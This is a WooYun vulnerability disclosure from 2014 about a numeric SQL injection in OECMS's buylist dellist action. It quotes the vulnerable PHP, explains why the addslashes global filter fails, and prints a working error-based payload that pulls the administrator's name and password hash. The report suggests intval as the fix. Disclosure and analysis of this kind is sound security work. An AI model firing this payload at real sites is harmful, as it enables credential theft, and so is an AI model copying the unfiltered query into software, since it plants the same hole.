当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081689

漏洞标题:OEcms通用SQL注入一枚(无视全局过滤)

相关厂商:OECMS

漏洞作者: 路人甲

提交时间:2014-11-05 16:22

修复时间:2015-02-03 16:24

公开时间:2015-02-03 16:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

OEcms通用SQL注入一枚(无视全局过滤)

详细说明:

补充内容:wooyun审核的大大让我补充案例来证明通用性,我想说,OECMS已经在wooyun通过过通用漏洞了,见这里 WooYun: 代码审计系列9: OEcms 远程代码执行(CSRF)
既然让我补充那我就补充一下吧。google:powered by oecms

google案例证明副本.jpg

官网提供的部分案例如下

官网提供案例.JPG

OECMS的用户量还是不小的。
这里有一个问题需要说明,本漏洞出在OECMS最新的版本,是2014.10.08升级的一个文件中,原来的版本中
并不存在,所以在网络上无法找到更多的真实案例,我想wooyun审核的大大可以理解,这并不能说这个漏洞
不是通用或者危害不大,下图证明oecms4.2漏洞所在文件的更新的时间

版本证明副本.jpg

现在拿网上的一个真实案例来说明一下,见下图

注入案例证明副本.jpg


看到LaiX的这个漏洞 WooYun: 代码审计系列9: OEcms 远程代码执行(CSRF) ,然后搜索了一下,没有找到OEcms的其他漏洞,只有一个漏洞?这明显不科学,挖下吧。
OEcms首先对用户的各种输入做了全局过滤,/source/core/run.conf.php

无关代码
function daddslashes($string) {
if(!MAGIC_QUOTES_GPC) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])){
exit('Request tainting attempted.');
}
$_GET = daddslashes($_GET);
$_POST = daddslashes($_POST);
$_COOKIE = daddslashes($_COOKIE);
$_REQUEST = daddslashes($_REQUEST);
$_FILES = daddslashes($_FILES);
$_SERVER = daddslashes($_SERVER);
无关代码


然后在执行sql的时候,很多输入又做了过滤,我没有找到可以绕过’过滤的注入,既然不能绕过,那就不用’了吧,找到了个数字型的注入点,无需考虑’的闭合问题了。
先看代码/source/control/index/buylist.php

无关代码
public function control_dellist()
{
X::loadUtil('request');
$id = XRequest::getGet('id');
$model = parent::model('buylist', 'im');
$model->del($id);
unset($model);
}
无关代码


看到$id是通过getGet('id')获得的,再看看getGet()

public static function getGet($name = '') {
if (empty($name)) return $_GET;
return (isset($_GET[$name])) ? $_GET[$name] : '';
}


没有进行任何形式的过滤,然后就带入sql执行了

public function del($id)
{
parent::$obj->query('DELETE from ' . DB_PREFIX . 'tmpbuy where id=' . $id);
}


虽然进行了全局过滤,但是仅用daddslashes过滤,对于数字型的注入来说,起不到作用,轻松绕过,注入成功。
注入点在这里:www.xxx.com/index.php?c=buylist&a=dellist&id=2 id存在error-based blind注入
Payload:

or (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(adminname,0x23,password)FROM oecmspre_admin LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a)


正常执行sql语句是这样的

sql语句正常执行情况副本.jpg

执行注入sql语句

sql注入语句执行情况副本.jpg

管理员的用户名和密码出来了

证明副本.jpg

漏洞证明:

见 详细说明

修复方案:

intval

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝